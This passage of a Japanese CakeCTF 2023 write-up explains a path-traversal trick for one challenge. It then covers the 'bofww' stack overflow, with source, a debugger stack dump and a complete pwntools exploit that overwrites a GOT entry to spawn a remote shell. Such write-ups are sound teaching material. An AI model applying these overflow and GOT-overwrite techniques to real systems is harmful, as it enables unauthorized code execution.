      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

/tmp/cabbage.XXXXXX/memo.txt にメモファイルを生成して値を読み書きできます。

pwn 的なバグがどこにあるかぱっとわからなかったので、 fgets で4095バイトの A を送りつけてみると、ファイル名が /tmp/cabbage.XXXXXX/AAAAAAAA のようになることに気づきました (Aの数は適当)。実験してみると4080文字目以降のバイト列がファイル名に入ってしまっているようです。挙動の原因は追えてないですが、 "A" * 4080 + "../../flag.txt" のような文字列を送ると /tmp/cabbage.XXXXXX/../../flag.txt となり、 /flag.txt のファイルを参照するようになります。

CakeCTF{B3_c4r3fuL_s0m3_libc_fuNcT10n5_r3TuRn_5t4ck_p01nT3r}

bofww

75 solves

main.cpp
#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

input_person 内の std::cin >> _name が脆弱性になっており、 BOF が狙えそうです。ただし canary が存在しているため、単純には BOF できなさそうです。ぐぬぬ…

name を適当に長くしていくと、 stack smashing detected と表示され SIGABRT で落ちるようになるのですが、さらに長くすると SIGSEGV で落ちることに気づきます。 stack 領域を見てみます (サボって BOF で破壊したあとのものを貼ります…)。

00:0000│ rsp     0x7fffffffd070 —▸ 0x7fffffffd1c0 ◂— 'wxyz0123456789'
01:0008│-128     0x7fffffffd078 —▸ 0x7fffffffd1bc ◂— 'stuvwxyz0123456789'
02:0010│-120     0x7fffffffd080 ◂— 0x0
03:0018│-118     0x7fffffffd088 ◂— 0x0
04:0020│ rdx rsi 0x7fffffffd090 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓            31 skipped
24:0120│-010     0x7fffffffd190 ◂— 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
25:0128│-008     0x7fffffffd198 ◂— 'IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
26:0130│ rbp     0x7fffffffd1a0 ◂— 'QRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
27:0138│+008     0x7fffffffd1a8 ◂— 'YZabcdefghijklmnopqrstuvwxyz0123456789'
28:0140│+010     0x7fffffffd1b0 ◂— 'ghijklmnopqrstuvwxyz0123456789'
29:0148│+018     0x7fffffffd1b8 ◂— 'opqrstuvwxyz0123456789'
2a:0150│ rax rdi 0x7fffffffd1c0 ◂— 'wxyz0123456789' // ここが本来 string name のアドレス
2b:0158│+028     0x7fffffffd1c8 ◂— 0x393837363534 /* '456789' */
2c:0160│+030     0x7fffffffd1d0 ◂— 0x0
2d:0168│+038     0x7fffffffd1d8 —▸ 0x7ffff7abadaa (malloc+410) ◂— test rax, rax
2e:0170│+040     0x7fffffffd1e0 —▸ 0x7ffff7e69500 (__frame_dummy_init_array_entry+40) —▸ 0x7ffff7cac570 (_GLOBAL__sub_I_bitmap_allocator.cc) ◂— endbr64
2f:0178│+048     0x7fffffffd1e8 ◂— 0x25620f2f5d677c00
30:0180│+050     0x7fffffffd1f0 ◂— 0x12000
31:0188│+058     0x7fffffffd1f8 —▸ 0x7fffffffd318 —▸ 0x7fffffffd7f8 ◂— '/home/y011d4/cakectf/pwn/bofww/bofww/bofww'
32:0190│+060     0x7fffffffd200 ◂— 0x1
33:0198│+068     0x7fffffffd208 —▸ 0x7ffff7a45cd0 (__libc_start_call_main+128) ◂— mov edi, eax

wxyz0123 の部分が string name のアドレスを表しています。 string 型の構造は https://ptr-yudai.hatenablog.com/entry/2021/11/30/235732#stdstring によくまとまってます (ありがとうございます)。さきほどの SIGSEGV で落ちるときは、この string の pointer が壊れていたからでした。

これを使うと、 input_person 内の name = _name の部分で任意アドレスへの書き込みができそうです。 name+0 に __stack_chk_fail の GOT アドレスを、 name+8 と name+0x10 に十分大きな数を入れておくと、 name = _name のところで __stack_chk_fail の GOT アドレスを _name の最初の8バイトで上書きできます。これで win 関数のアドレスに置き換えることでクリアです。

from pwn import *

io = remote("bofww.2023.cakectf.com", 9002)

payload = b""
payload += p64(0x4012f6)  # win function
payload += b"A"*8*31+b"A"*48
payload += p64(0x404050) + p64(0x1000) + p64(0x1000)  # 0x404050 は __stack_chk_fail の GOT
io.sendlineafter(b"name? ", payload)
io.sendlineafter(b"you? ", b"0")
io.interactive()

CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}

RSA で $d_p$ , $d_q$ とわざわざ分けて計算している問題の多くは $\mod p$ , $\mod q$ のいずれかでだけ計算が正しくなって $p, q$ が求まるという経験則があります。なので本番中は考察をしなかった ↩
行列の multiplicative order の解析的求め方を募集しています。ありそうだけど見つからなかった ↩